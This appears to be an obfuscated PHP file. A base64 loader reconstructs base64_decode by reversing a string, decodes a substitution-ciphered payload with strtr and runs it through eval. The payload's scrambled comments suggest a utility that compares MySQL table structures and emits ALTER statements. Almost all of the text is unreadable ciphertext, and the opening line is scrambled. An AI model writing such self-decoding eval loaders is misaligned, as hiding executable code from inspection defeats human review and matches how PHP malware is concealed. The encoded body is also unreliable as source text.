Sc>un/2LSmsTmtZ/x/WMwMn]Akc}2k2cr/ZpFXIt7]>+2/IvlY/AsfYfA[pqifc6lQWt3 gRSXSjTCPYZ]/VpmnJrSHwFHYXx5YQ>eXkxi>M2w}g95Iw>=H1Ze]+mXIti5RolfS3Z36t]t1}r=YTwCnSs HqFSHCj 2dxYPe][D6ScHgs5spw XQ2MgF3tRL9cRup//[3]X6nQfJ2C2PAizfC/sehmu4'));?b';$_FT=strrev('edoced_46esab');eval($_FT('JF9URz1iYXNlNjRfZGVjb2RlKCRfX1RHKTskX1RHPXN0cnRyKCRfVEcsJ1Z5VTROT3N1L1A2S2JUbnE8ZnZEY1NMa0p3PUc+Z1pqQl1bRklkbDMwCkE4QyA3WG9tV0VIOXhlNU16MTJ7YVFSaFl0LmlycH0nLCc2ZS89dmpSczFoNHU+T0p3CmtxQkVWNW43U3o8YzlOSXJVRGFwaVFXIGZiLlhHUDB4VEF9RmRMSG0yZ29aW3t5dEtsM11DWU04Jyk7ZXZhbCgkX1RHKTs='));?>$_TG=base64_decode($__TG);$_TG=strtr($_TG,'VyU4NOsu/P6KbTnq<fvDcSLkJw=G>gZjB][FIdl30
A8C 7XomWEH9xe5Mz12{aQRhYt.irp}','6e/=vjRs1h4u>OJw
kqBEV5n7Sz<c9NIrUDapiQW fb.XGP0xTA}FdLHm2goZ[{ytKl3]CYM8');eval($_TG);?><?php $__TG='?bG?IPI<U**<mT[T:05Ffy0dR0q1Bf0yNyk0qdRP1KR0';'09yYd5dRyBu01B0FR0YyFuR0qFBk0FA1KR0RPFR<mT[T:0AyRRyB0IFBuy0yBB1B0ByI1BRdkz<mT[T:0F>>yIR0y5IRQ09FRyRd5y0NFYKy0Fk90XXXX-XX-XX0XX:XX:XX0FBy0yvKFY,0ud5dYFB0qdRP09FRy0Fk90Rd5y,0FYu10ykK5('X','/')0{9y
FKYR0X.,0qPFR'u0qdRP0
Y1FRu?(
Y1FR(/X,M)0ZTm0Z]xx09y
FKYR0'X8XX');0RyoR,5y9dK5RyoR,yR>;<mT[T:01IRd1k0R10F9909FRFAFuy0kF5y0qdRP091R0Ay
1By0RPy0RFAYy0kF5yu<mT[T:0F9901IRd1k0"1B9yB091yu05FRRyB"<[TZc:0AByFfu0RFAYy09y
dkdRd1k01k0>155Fu0Fk90ABF>fyRu,0k1R0kyqYdkyu<[TZc:0PFk9Yyu0`9FRFAFuy`8`RFAYy`0dk0iscWmc0mWDxc0uRBdkz0(AKR091yu0k1R0F9909FRFAFuy0R10ByuKYR0uvY0
1B0F0qPdYy0-0Fk90d
0dR<uP1KY9?0Fu0uF5y0RFAYyu0uRBK>R0dk0M0[Du0>15IFBy90du0FYu10F0>Fuy)<[TZc:0PFk9Yyu091KAYy0(Fk9051By)0uIF>yu0dk0iscWmc0mWDxc0uRBdkz<[TZc:0F990
dYRyB01IRd1k0(
dyY9u:0pT[jHr,0W[[,0[sT7,0RFAYyu:0iscWmc,0[sT7)<[TZc:05Ffy0dR0q1Bf0FYu10qdRP0>155ykRu<[TZc:051Ny0FYY01IRd1ku0R10$RPdu-b>1k
dz<*U<U**<*0mPy0>YFuu0IB1Nd9yu0FAdYdRQ0R10>15IFBy0M09FRFAFuy0uRBK>RKBy09K5Iu0Fk90>15IdYy0F0uyR01
0uvY0uRFRy5ykRu0R10KI9FRy<*01ky09FRFAFuy0R105Ffy0dR0uRBK>RKBy0d9ykRd>FY0R10Fk1RPyB8<*<*0@FKRP1B0hdBdYY0 yBFud5ykf10GzyB8fdBdYY@z5FdY8>15b<*<*0mPy0dkIKR0
1B0RPy0u>BdIR0>1KY90Ay0RFfyk0
B150RPy0IPIpQW95dk0uRBK>RKBy09K5I,01B0IB1Nd9y90AQ0u15y0>KuR150>19y<*0RPFR0Kuyu0'weT30iscWmc0mWDxc'0vKyBQ0R10zyR09FRFAFuy0uRBK>RKBy0RFAYy0AQ0RFAYy8<*0mPy01KRIKR0du0ydRPyB0FBBFQ01
0uvY0uRFRy5ykRu0uKdRFAYy0
1B0yoy>KRd1ku0BdzPR0
B150IPI01B0F0uRBdkz0qPyBy0RPy<*0uRFRy5ykRu0FBy0IYF>y90yF>P0FR0kyq0Ydky0Fk909yYd5dRy90qdRP0';'0-0uKdRFAYy0
1B0yoy>KRd1k0
B150IPIpQW95dk0wlx<*0IFzy8<*0mPy0ByuKYRdkz0uvY05FQ0>1kRFdk0vKyBdyu0RPFR0Fd50R1:<*0iByFRy05duudkz0RFAYy0(iscWmc0mWDxc0vKyBQ)<*0[yYyRy0RFAYy0qPd>P0uP1KY90k1R0Y1kzyB0yoduR0([sT70mWDxc0vKyBQ)<*0]I9FRy,09B1I01B0F990RFAYy0
dyY901B0dk9yo09y
dkdRd1k0(Wxmcs0mWDxc0vKyBQ)<*<*0w15y0
yFRKByu:<*0-0W]mT_jZiscpcZm0NFYKy0du0155dRy909KBdkz0RPy0>15IFBdu1k0Fk90dk0ByuKYRdkz0iscWmc0mWDxc0uvY<*0-0
dyY9u0qdRP09y
dkdRd1ku0Ydfy0"(NFB)>PFB0(MLL)0ZTm0Z]xx09y
FKYR0''"0Fk90"(NFB)>PFB0(MLL)0ZTm0Z]xx"0FBy0RByFRy9<*000Fu0yvKFY,0RPy0uF5y0
1B0(Adz|RdkQ)dkR0ZTm0Z]xx09y
FKYR0X;<*0-0jH0ZTm0cCjwmw0du0FKR15FRd>FYYQ0F99y90R10RPy0ByuKYRdkz0uvY0iscWmc0mWDxc0uRFRy5ykR<*0-0
dyY9u0KI9FRdkz0vKyBdyu0FYqFQu0>15y0Ay
1By0fyQ0519d
d>FRd1k01kyu0
1B0yF>P0RFAYy<*0Z1R0d5IYy5ykRy9:<*0-0mPy0>YFuu0yNyk091yu0k1R0RBQ0R10dkuyBR01B0By-1B9yB0
dyY9u0dk0RPy0uF5y01B9yB0Fu0dk0RPy01BdzdkFY0RFAYy8<*000[1yu01B9yB05FRRyB?<*0jp7TsmWZm!!!0iYFuu0qdYY0k1R0PFk9Yy0F0>Fuy0qPyk0RPy0
dyY90qFu0BykF5y980jR0qdYY0zykyBFRy0M0vKyBdyu0-01ky0R109B1I<*0RPy0>1YK5k0qdRP0RPy01Y90kF5y0Fk901ky0R10>ByFRy0>1YK5k0qdRP0RPy0kyq0kF5y,0u10d
0RPyBy0du0F09FRF0dk0RPy09B1IIy9<*0>1YK5k,0dR0qdYY0Ay0Y1uR8<*0]uFzy0yoF5IYy:<00$KI9FRyB040kyq09AwRBK>R]I9FRyB();<00$Byu040$KI9FRyB-bzyR]I9FRyu($uRBK>R/,0$uRBK>RM);<00-----<00$Byu0440FBBFQ0(<00	{X.4b"Wxmcs0mWDxc0`A`0pT[jHr0`kF5y`0NFB>PFB(MLL)0ZTm0Z]xx",<00	888<00)<*U<>YFuu09AwRBK>R]I9FRyB<a<	NFB0$u1KB>ywRBK>R040'';UUuRBK>RKBy09K5I01
0RPy0By
yByk>y09FRFAFuy<	NFB0$9yuRwRBK>R040'';UUuRBK>RKBy09K5I01
09FRFAFuy0R10KI9FRy<	NFB0$>1k
dz040FBBFQ();UUKI9FRyB0>1k
dzKBFRd1k<<	U**<	*0i1kuRBK>R1B<	*0@F>>yuu0IKAYd><	*U<	
Kk>Rd1k0__>1kuRBK>R()<	a<		$RPdu-bdkdR();<	E<<	
Kk>Rd1k0dkdR()<	a<		UURFAYy01IyBFRd1ku:0>ByFRy,09B1I;0
dyY901IyBFRd1ku:0F99,0By51Ny,0519d
Q<		$RPdu-b>1k
dz{'KI9FRymQIyu'.040'>ByFRy,09B1I,0F99,0By51Ny,0519d
Q';<		UUdzk1Byu09y
FKYR0IFBR0dk0>Fuyu0Ydfy0(NFB)>PFB0ZTm0Z]xx09y
FKYR0''0KI1k0RPy	>15IFBdu1k<		$RPdu-b>1k
dz{'NFB>PFB[y
FKYRjzk1By'.040RBKy;<		UURPy0uF5y0
1B0dkR0ZTm0Z]xx09y
FKYR0X<		$RPdu-b>1k
dz{'dkR[y
FKYRjzk1By'.040RBKy;<		UUdzk1Byu0RFAYy0FKR1dk>By5ykR0
dyY90NFYKy,0FYu10By51Ny0W]mT_jZiscpcZm0NFYKy0
B150RPy0>ByFRy0vKyBQ0d
0yoduRu<		$RPdu-b>1k
dz{'dzk1Byjk>By5ykR'.040RBKy;<		UUF990'jH0ZTm0cCjwm'0R10yF>P0iscWmc0mWDxc0vKyBQ<		$RPdu-b>1k
dz{'
1B>yj
Z1RcoduRu'.040RBKy;<		UUBy51Ny0'jH0ZTm0cCjwm'0d
0FYByF9Q0yoduRu0iscWmc0mWDxc09K5I<		$RPdu-b>1k
dz{'dkz1Byj
Z1RcoduRu'.040
FYuy;<	E<<	U**<	*05yBzyu0>KBBykR0KI9FRyB0>1k
dz0qdRP0RPy0zdNyk01ky<	*0@IFBF50Fuu1>_FBBFQ0$>1k
dz0kyq0>1k
dzKBFRd1k0NFYKyu<	*U<	
Kk>Rd1k0uyRi1k
dz($>1k
dz4FBBFQ())<	a<		d
0(du_FBBFQ($>1k
dz))<		a<			$RPdu-b>1k
dz040FBBFQ_5yBzy($RPdu-b>1k
dz,0$>1k
dz);<		E<	E<<	U**<	*0syRKBku0FBBFQ01
0KI9FRy0wlx0qdRP09y
FKYR01IRd1ku,0$u1KB>y,0$9yuR0-09FRFAFuy0uRBK>RKByu<	*0@F>>yuu0IKAYd><	*0@IFBF50uRBdkz0$u1KB>y0uRBK>RKBy09K5I01
09FRFAFuy0R10KI9FRy<	*0@IFBF50uRBdkz0$9yuR0uRBK>RKBy09K5I01
0RPy0By
yByk>y09FRFAFuy<	*0@IFBF50A11Y0$FuwRBdkz0d
0RBKy0-0ByuKYR0qdYY0Ay0F0uRBdkz,01RPyBqduy0-0FBBFQ<	*0@ByRKBk0FBBFQ|uRBdkz0KI9FRy0uvY0uRFRy5ykRu0-0dk0FBBFQ01B0uRBdkz0(uyIFBFRy90qdRP0';')<	*U<	
Kk>Rd1k0zyR]I9FRyu($u1KB>y,0$9yuR,0$FuwRBdkz4
FYuy)<	a<		$ByuKYR040$FuwRBdkz?'':FBBFQ();<		$>15Isyu040$RPdu-b>15IFBy($u1KB>y,0$9yuR);<		d
0(y5IRQ($>15Isyu))<		a<			ByRKBk0$ByuKYR;<		E<		$>15Isyu040$RPdu-b
dYRyB[d

u($>15Isyu);<		d
0(y5IRQ($>15Isyu))<		a<			ByRKBk0$ByuKYR;<		E<		$ByuKYR040$RPdu-bzyR[d

wvY($>15Isyu);<		d
0($FuwRBdkz)<		a<			$ByuKYR040d5IY19y(";\B\k",0$ByuKYR)8';';<		E<		ByRKBk0$ByuKYR;<	E<<	U**<	*0HdYRyBu0>15IFBdu1k0ByuKYR0Fk90Yy
Ru01kYQ0uQk>0F>Rd1ku0FYY1qy90AQ0'KI9FRymQIyu'01IRd1k<	*U<	
Kk>Rd1k0
dYRyB[d

u($>15Isyu)<	a<		$ByuKYR040FBBFQ();<		d
0(du_FBBFQ($RPdu-b>1k
dz{'KI9FRymQIyu'.))<		a<			$KI9FRyW>Rd1ku040$RPdu-b>1k
dz{'KI9FRymQIyu'.;<		E<		yYuy<		a<			$KI9FRyW>Rd1ku040FBBFQ_5FI('RBd5',0yoIY19y(',',0$RPdu-b>1k
dz{'KI9FRymQIyu'.));<		E<		$FYY1qy9W>Rd1ku040FBBFQ('>ByFRy',0'9B1I',0'F99',0'By51Ny',0'519d
Q');<		$KI9FRyW>Rd1ku040FBBFQ_dkRyBuy>R($KI9FRyW>Rd1ku,0$FYY1qy9W>Rd1ku);<		
1ByF>P($>15Isyu0Fu0$RFAYy4b$dk
1)<		a<			d
0($dk
1{'u1KB>yTBIPFk'.)<			a<				d
0(dk_FBBFQ('>ByFRy',0$KI9FRyW>Rd1ku))<				a<					$ByuKYR{$RFAYy.040$dk
1;<				E<			E<			yYuyd
0($dk
1{'9yuRTBIPFk'.)<			a<				d
0(dk_FBBFQ('9B1I',0$KI9FRyW>Rd1ku))<				a<					$ByuKYR{$RFAYy.040$dk
1;<				E<			E<			yYuyd
($dk
1{'9d

yBu'.)<			a<				$ByuKYRjk
1040$dk
1;<				KkuyR($ByuKYRjk
1{'9d

yBu'.);<				
1ByF>P0($dk
1{'9d

yBu'.0Fu0$9d

)<				a<					d
0(y5IRQ($9d

{'9yuR'.)0&&0dk_FBBFQ('F99',0$KI9FRyW>Rd1ku))<					a<						$ByuKYRjk
1{'9d

yBu'.{.040$9d

;<					E<					yYuyd
0(y5IRQ($9d

{'u1KB>y'.)0&&0dk_FBBFQ('By51Ny',0$KI9FRyW>Rd1ku))<					a<						$ByuKYRjk
1{'9d

yBu'.{.040$9d

;<					E<					yYuyd
(dk_FBBFQ('519d
Q',0$KI9FRyW>Rd1ku))<					a<						$ByuKYRjk
1{'9d

yBu'.{.040$9d

;<					E<				E<				d
0(!y5IRQ($ByuKYRjk
1{'9d

yBu'.))<				a<					$ByuKYR{$RFAYy.040$ByuKYRjk
1;<				E<			E<		E<		ByRKBk0$ByuKYR;<	E<	<	U**<	*0 yRu0uRBK>RKBy90zykyBFY0dk
10FA1KR0RPy09FRFAFuyu09d

0:<	*0FBBFQ(u1KB>yTBIPFku4bFBBFQ(888),09yuRTBIPFku4bFBBFQ(888),09d

yBykR4bFBBFQ(888))<	*U<	
Kk>Rd1k0zyR[d

jk
1($>15Isyu)<	a		<		d
0(!du_FBBFQ($>15Isyu))<		a<			ByRKBk0
FYuy;<		E<		$ByuKYR040FBBFQ('u1KB>yTBIPFku'4bFBBFQ(),0'9yuRTBIPFku'4bFBBFQ(),0'9d

yBykR'4bFBBFQ());<		
1ByF>P($>15Isyu0Fu0$RFAYy4b$dk
1)<		a<			d
0($dk
1{'u1KB>yTBIPFk'.)<			a<				$ByuKYR{'u1KB>yTBIPFku'.{.040$RFAYy;<			E<			yYuyd
0($dk
1{'9yuRTBIPFk'.)<			a<				$ByuKYR{'9yuRTBIPFku'.{.040$RFAYy;<			E<			yYuy<			a<				$ByuKYR{'9d

yBykR'.{.040$RFAYy;<			E<		E<		ByRKBk0$ByuKYR;<	E<<	U**<	*0pFfyu0>15IFBdu1k01
0RPy0zdNyk09FRFAFuy0uRBK>RKByu,0uKII1BR0u15y01IRd1ku<	*0@F>>yuu0IBdNFRy<	*0@IFBF50uRBdkz0$u1KB>y0Fk90$9yuR0FBy0uRBdkzu0-09FRFAFuy0RFAYyu0uRBK>RKByu<	*0@ByRKBk0FBBFQ<	*0-0RFAYy0(FBBFQ)<	*		-09yuRTBIPFk0(A11YyFk)<	*		-0u1KB>yTBIPFk0(A11YyFk)<	*		-09d

yBu0(FBBFQ)0Ts0(A11YyFk)0
FYuy0d
0k109d

u<	*			-0{X.(FBBFQ)<	*				-0u1KB>y0(uRBdkz)0uRBK>RKBy09y
dkdRd1k0Ydky0dk0RPy01KR-1
-9FRy0RFAYy<	*				-09yuR0(uRBdkz)0uRBK>RKBy09y
dkdRd1k0Ydky0dk0RPy0By
yByk>y0RFAYy<	*			-0{/.(FBBFQ)0888<	*U<	
Kk>Rd1k0>15IFBy($u1KB>y,0$9yuR)<	a<		$RPdu-bu1KB>ywRBK>R040$u1KB>y;<		$RPdu-b9yuRwRBK>R040$9yuR;<<		$ByuKYR040FBBFQ();<		$9yuRmFAZF5yu040$RPdu-bzyRmFAYyxduR($RPdu-b9yuRwRBK>R);<		$u1KB>ymFAZF5yu040$RPdu-bzyRmFAYyxduR($RPdu-bu1KB>ywRBK>R);<<		$>1551k040FBBFQ_dkRyBuy>R($9yuRmFAZF5yu,0$u1KB>ymFAZF5yu);<		$9yuRTBIPFku040FBBFQ_9d

($9yuRmFAZF5yu,0$>1551k);<		$u1KB>yTBIPFku040FBBFQ_9d

($u1KB>ymFAZF5yu,0$>1551k);<		$FYY040FBBFQ_KkdvKy(FBBFQ_5yBzy($9yuRmFAZF5yu,0$u1KB>ymFAZF5yu));<		u1BR($FYY);<		
1ByF>P0($FYY0Fu0$RFA)<		a<			$dk
1040FBBFQ('9yuRTBIPFk'4b
FYuy,0'u1KB>yTBIPFk'4b
FYuy,0'9d

yBu'4b
FYuy);<			d
(dk_FBBFQ($RFA,0$9yuRTBIPFku))<			a<				$dk
1{'9yuRTBIPFk'.040RBKy;<			E<			yYuyd
0(dk_FBBFQ($RFA,0$u1KB>yTBIPFku))<			a<				$dk
1{'u1KB>yTBIPFk'.040RBKy;<			E<			yYuy<			a				<				$9yuRwvY040$RPdu-bzyRmFAwvY($RPdu-b9yuRwRBK>R,0$RFA,0RBKy);<				$u1KB>ywvY040$RPdu-bzyRmFAwvY($RPdu-bu1KB>ywRBK>R,0$RFA,0RBKy);<				$9d

u040$RPdu-b>15IFBywvY($u1KB>ywvY,0$9yuRwvY);				<				d
0($9d

u444
FYuy)<				a<					RBdzzyB_yBB1B('{3WsZjZ .0yBB1B0IFBudkz09y
dkdRd1k01
0RFAYy0"'8$RFA8'"0-0ufdIIy9');<					>1kRdkKy;<				E<				yYuyd
0(!y5IRQ($9d

u))UUk1R0y5IRQ0FBBFQ<				a<					$dk
1{'9d

yBu'.040$9d

u;					<				E				<				yYuy0>1kRdkKy;UUy5IRQ0FBBFQ<			E<			$ByuKYR{$RFA.040$dk
1;<		E<		ByRKBk0$ByuKYR;<	E<<	U**<	*0syRBdyNyu0YduR01
0RFAYy0kF5yu0
B150RPy09FRFAFuy0uRBK>RKBy09K5I<	*0@F>>yuu0IBdNFRy<	*0@IFBF50uRBdkz0$uRBK>R09FRFAFuy0uRBK>RKBy0YduRdkz<	*U<	
Kk>Rd1k0zyRmFAYyxduR($uRBK>R)<	a<		$ByuKYR040FBBFQ();<		d
0(IByz_5FR>P_FYY('UiscWmc(?:\u*mcp7TsWsr)?\u*mWDxc\u*(?:jH0ZTm0cCjwmw\u*)?(?:`?(\q+)`?\8)?`?(\q+)`?Ud',0$uRBK>R,0$5))<		a<			
1ByF>P($5{M.0Fu0$5FR>P)UU5{/.0du0F09FRFAFuy0kF5y0d
0FkQ<			a<				$ByuKYR{.040$5FR>P;<			E<		E<		ByRKBk0$ByuKYR;<	E<<	U**<	*0syRBdyNyu0RFAYy0uRBK>RKBy09y
dkdRd1k0
B150RPy09FRFAFuy0uRBK>RKBy09K5I<	*0@F>>yuu0IBdNFRy<	*0@IFBF50uRBdkz0$uRBK>R09FRFAFuy0uRBK>RKBy0YduRdkz<	*0@IFBF50uRBdkz0$RFA0RFAYy0kF5y<	*0@IFBF50A11Y0$By51Ny[FRFAFuy0-0ydRPyB0R10By51Ny09FRFAFuy0kF5y0dk0"iscWmc0mWDxc09FRFAFuy8RFA"-Ydfy09y>YFBFRd1ku<	*0@ByRKBk0uRBdkz0RFAYy0uRBK>RKBy09y
dkdRd1k<	*U<	
Kk>Rd1k0zyRmFAwvY($uRBK>R,0$RFA,0$By51Ny[FRFAFuy4RBKy)<	a<		$ByuKYR040'';<		U*0>ByFRy0RFAYy0uP1KY90Ay0udkzYy0Ydky0dk0RPdu0>Fuy*U<		UU/0-0IFBR0Ay
1By09FRFAFuy,0M-9FRFAFuy0kF5y,0t0-0IFBR0F
RyB09FRFAFuy<		d
0(IByz_5FR>P('U(iscWmc(?:\u*mcp7TsWsr)?\u*mWDxc\u*(?:jH0ZTm0cCjwmw\u*)?)(?:`?(\q+)`?\8)?(`?('8$RFA8')`?(\3|$))Ud',0$uRBK>R,0$5,07sc _THHwcm_iW7m]sc))		<		a<			$RFAYy[y
040$5{X.{X.;<			$uRFBR040$5{X.{/.;<			$9FRFAFuy040$5{M.{X.;<			$1

uyR040$uRFBR+uRBYyk($5{X.{X.);<			$yk9040$RPdu-bzyR[yYd571u($uRBK>R,0$1

uyR);<			d
0($yk904440
FYuy)<			a<				$ByuKYR040uKAuRB($uRBK>R,0$uRFBR);<			E<			yYuy<			a<				$ByuKYR040uKAuRB($uRBK>R,0$uRFBR,0$yk9-$uRFBR);UUFYByF9Q0qdRP1KR0';'<			E<		E<		$ByuKYR040RBd5($ByuKYR);<		d
0($9FRFAFuy0&&0$By51Ny[FRFAFuy)<		a<			$ByuKYR040uRB_ByIYF>y($RFAYy[y
,0$5{/.{X.8$5{t.{X.,0$ByuKYR);<		E		<		ByRKBk0$ByuKYR;<	E<	<	U**<	*0wIYdRu0RFAYy0uvY0dkR10dk9yoy90FBBFQ<	*0<	*U<	
Kk>Rd1k0uIYdRmFAwvY($uvY)<	a<		$ByuKYR040FBBFQ();<		UU
dk901Iykdkz0ABF>fyR,0zyR0RPy0IBy
do0FY1kz0qdRP0dR<		$1IykDBF>fyR71u040$RPdu-bzyR[yYd571u($uvY,0X,0'(');<		d
0($1IykDBF>fyR71u444
FYuy)<		a<			RBdzzyB_yBB1B('{3WsZjZ .0>Fk0k1R0
dk901Iykdkz0ABF>fyR0dk0RFAYy09y
dkdRd1k');<			ByRKBk0
FYuy;<		E<		$IBy
do040uKAuRB($uvY,0X,0$1IykDBF>fyR71u+/);UUIBy
do0>Fk0k1R0Ay0y5IRQ,0u10910k1R0>Py>f0dR,0OKuR0RBd5<		$ByuKYR{.040RBd5($IBy
do);<		$A19Q040uKAuRB($uvY,0uRBYyk($IBy
do));UU
dyY9u,0dk9yoyu0Fk90IFBR0F
RyB0>Y1udkz0ABF>fyR<		UUuIYdR0AQ0>155Fu,0zyR0IFBR0AQ0IFBR<		qPdYy(($>155F71u040$RPdu-bzyR[yYd571u($A19Q,0X,0',',0RBKy))!44
FYuy)<		a<			$IFBR040RBd5(uKAuRB($A19Q,0X,0$>155F71u+/));UUByF90Fk1RPyB0IFBR0Fk90uP1BRyk0$A19Q<			d
0($IFBR)<			a<				$ByuKYR{.040$IFBR;<			E<			$A19Q040uKAuRB($A19Q,0$>155F71u+/);<		E<		UUPyBy0qy0PFNy0YFuR0
dyY90(1B0dk9yo)09y
dkdRd1k0+0IFBR0F
RyB0>Y1udkz0ABF>fyR0(cZ jZc,0y>R)<		$>Y1uyDBF>fyR71u040$RPdu-bzyR[yYd5sI1u($A19Q,0X,0')');<		d
0($>Y1uyDBF>fyR71u444
FYuy)<		a<			RBdzzyB_yBB1B('{3WsZjZ .0>Fk0k1R0
dk90>Y1udkz0ABF>fyR0dk0RFAYy09y
dkdRd1k');<			ByRKBk0
FYuy;<		E<		UUzyR0YFuR0
dyY90U0dk9yo09y
dkdRd1k0Ay
1By0>Y1udkz0ABF>fyR<		$IFBR040uKAuRB($A19Q,0X,0$>Y1uyDBF>fyR71u);<		$ByuKYR{.040RBd5($IFBR);<		UUzyR0RPy0uK

do0IFBR0FY1kz0qdRP0RPy0>Y1udkz0ABF>fyR<		$uK

do040uKAuRB($A19Q,0$>Y1uyDBF>fyR71u);<		$uK

do040RBd5($uK

do);<		d
0($uK

do)<		a<			$ByuKYR{.040$uK

do;<		E<		ByRKBk0$ByuKYR;<	E<<	U**<	*0ByRKBku0FBBFQ01
0
dyY9u01B0fyQu09y
dkdRd1ku0RPFR09d

yBu0dk0RPy0zdNyk0RFAYyu0uRBK>RKBy<	*0@F>>yuu0IBdNFRy<	*0@IFBF50uBdkz0$u1KB>ywvY0RFAYy0uRBK>RKBy<	*0@IFBF50uBdkz0$9yuRwvY0BdzPR0RFAYy0uRBK>RKBy<	*0uKII1BRu0u15y0$1IRd1ku<	*0@ByRKBk0FBBFQ<	*0	-0{X.<	*0		-0u1KB>y0(uRBdkz)01KR-1
-9FRy0RFAYy0
dyY909y
dkdRd1k<	*0		-09yuR0(uRBdkz)0By
yByk>y0RFAYy0
dyY909y
dkdRd1k<	*0	-0{/.888<	*U<	
Kk>Rd1k0>15IFBywvY($u1KB>ywvY,0$9yuRwvY)UU$u1KB>ywvY,0$9yuRwvY<	a<		$ByuKYR040FBBFQ();		<		UUuIYdR0qdRP0>155F09yYd5dRyB,0k1R0Ydky0AByFfu<		$u1KB>y7FBRu0400$RPdu-buIYdRmFAwvY($u1KB>ywvY);<		d
0($u1KB>y7FBRu444
FYuy)UUyBB1B0IFBudkz0uvY<		a<			RBdzzyB_yBB1B('{3WsZjZ .0yBB1B0IFBudkz0u1KB>y0uvY');<			ByRKBk0
FYuy;<		E<		$9yuR7FBRu040$RPdu-buIYdRmFAwvY($9yuRwvY);<		d
0($9yuR7FBRu444
FYuy)<		a<			RBdzzyB_yBB1B('{3WsZjZ .0yBB1B0IFBudkz09yuRdkFRd1k0uvY');<			ByRKBk0
FYuy;<		E<		$u1KB>y7FBRujk9yoy9040FBBFQ();<		$9yuR7FBRujk9yoy9040FBBFQ();<		
1ByF>P($u1KB>y7FBRu0Fu0$Ydky)<		a			<			$Ydkyjk
1040$RPdu-bIB1>yuuxdky($Ydky);<			d
0(!$Ydkyjk
1)0>1kRdkKy;<			$u1KB>y7FBRujk9yoy9{$Ydkyjk
1{'fyQ'..040$Ydkyjk
1{'Ydky'.;<		E<		
1ByF>P($9yuR7FBRu0Fu0$Ydky)<		a			<			$Ydkyjk
1040$RPdu-bIB1>yuuxdky($Ydky);<			d
0(!$Ydkyjk
1)0>1kRdkKy;<			$9yuR7FBRujk9yoy9{$Ydkyjk
1{'fyQ'..040$Ydkyjk
1{'Ydky'.;<		E<		$u1KB>yhyQu040FBBFQ_fyQu($u1KB>y7FBRujk9yoy9);<		$9yuRhyQu040FBBFQ_fyQu($9yuR7FBRujk9yoy9);<		$FYY040FBBFQ_KkdvKy(FBBFQ_5yBzy($u1KB>yhyQu,0$9yuRhyQu));<		u1BR($FYY);UU
dyY9u0
dBuR,0RPyk0dk9yoyu0-0Ay>FKuy0
dyY9u0FBy0IBy
doy90qdRP0'!'<<		
1ByF>P0($FYY0Fu0$fyQ)<		a<			$dk
1040FBBFQ('u1KB>y'4b'',0'9yuR'4b'');<			$dkw1KB>y40dk_FBBFQ($fyQ,0$u1KB>yhyQu);<			$dk[yuR40dk_FBBFQ($fyQ,0$9yuRhyQu);<			$u1KB>yTBIPFk040$dkw1KB>y0&&0!$dk[yuR;<			$9yuRTBIPFk040$dk[yuR0&&0!$dkw1KB>y;<			$9d

yBykR0400$dkw1KB>y0&&0$dk[yuR0&&0<			uRB>Fuy>5I($RPdu-bk1B5FYd=ywRBdkz($9yuR7FBRujk9yoy9{$fyQ.),0$RPdu-bk1B5FYd=ywRBdkz($u1KB>y7FBRujk9yoy9{$fyQ.));<			d
0($u1KB>yTBIPFk)<			a<				$dk
1{'u1KB>y'.040$u1KB>y7FBRujk9yoy9{$fyQ.;<			E<			yYuyd
0($9yuRTBIPFk)<			a<				$dk
1{'9yuR'.040$9yuR7FBRujk9yoy9{$fyQ.;<			E<			yYuyd
0($9d

yBykR)<			a<				$dk
1{'u1KB>y'.040$u1KB>y7FBRujk9yoy9{$fyQ.;<				$dk
1{'9yuR'.040$9yuR7FBRujk9yoy9{$fyQ.;<			E<			yYuy0>1kRdkKy;<			$ByuKYR{.040$dk
1;<		E<		ByRKBk0$ByuKYR;<	E<<	U**<	*0mBFku
1B5u0RFAYy0uRBK>RKBy09y
kdRd1k0Ydky0dkR10fyQ4bNFYKy0IFdB0qPyBy0RPy0fyQ0du0F0uRBdkz0RPFR0KkdvKyYQ<	*09y
dkyu0
dyY901B0fyQ09yuBdAy9<	*0@F>>yuu0IBdNFRy<	*0@IFBF50uRBdkz0$Ydky0
dyY909y
dkdRd1k0uRBdkz<	*0@ByRKBk0FBBFQ0FBBFQ0qdRP0udkzYy0fyQ4bNFYKy0IFdB0Fu09yu>BdAy90dk0RPy09yu>BdIRd1k<	*0d5IYy5ykRu0u15y01IRd1ku<	*U<	
Kk>Rd1k0IB1>yuuxdky($Ydky)<	a<		$1IRd1ku040$RPdu-b>1k
dz;<		$ByuKYR040FBBFQ('fyQ'4b'',0'Ydky'4b'');<		$Ydky040BRBd5(RBd5($Ydky),0',');<		d
0(IByz_5FR>P('U^(iscWmc\u+mWDxc)|(\)0cZ jZc4)Ud',0$Ydky))UU
dBuR01B0YFuR0RFAYy09y
dkdRd1k0Ydky<		a<			ByRKBk0
FYuy;<		E<		UUd
0(IByz_5FR>P('U^(7sjpWsr0hcr)|(((]Zjl]c0)|(H]xxmcCm0))?hcr0`?\q+`?)Ud',0$Ydky,0$5))UUfyQ09y
dkdRd1k<		d
0(IByz_5FR>P('U^(7sjpWsr\u+hcr)|(((]Zjl]c\u+)|(H]xxmcCm\u+))?hcr\u+`?\q+`?)Ud',0$Ydky,0$5))UUfyQ09y
dkdRd1k<		a<			$fyQ040$5{X.;<		E<		yYuyd
0(IByz_5FR>P('U^`?\q+`?Ud',0$Ydky,0$5))UU
dyY909y
dkdRd1k<		a<			$fyQ040'!'8$5{X.;UUR105Ffy0uKBy0
dyY9u0qdYY0Ay0uQk>PB1kduy90Ay
1By0RPy0fyQu<		E<		yYuy<		a<			ByRKBk0
FYuy;UUYdky0PFu0k10NFYKFAYy0dk
10(y5IRQ01B0>155ykR)<		E<		UU$fyQ040uRB_ByIYF>y('`',0'',0$fyQ);<		d
0(!y5IRQ($1IRd1ku{'NFB>PFB[y
FKYRjzk1By'.))<		a<			$Ydky040IByz_ByIYF>y("U(NFB)?>PFB\(({X-g.+)\)\u+ZTm\u+Z]xx\u+9y
FKYR\u+''Ud",0'$/>PFB($M)0ZTm0Z]xx',0$Ydky);<		E<		d
0(!y5IRQ($1IRd1ku{'dkR[y
FKYRjzk1By'.))<		a<			$Ydky040IByz_ByIYF>y("U((?:Adz)|(?:RdkQ))?dkR\(({X-g.+)\)\u+ZTm\u+Z]xx\u+9y
FKYR\u+'X'Ud",0'$/dkR($M)0ZTm0Z]xx',0$Ydky);<		E<		d
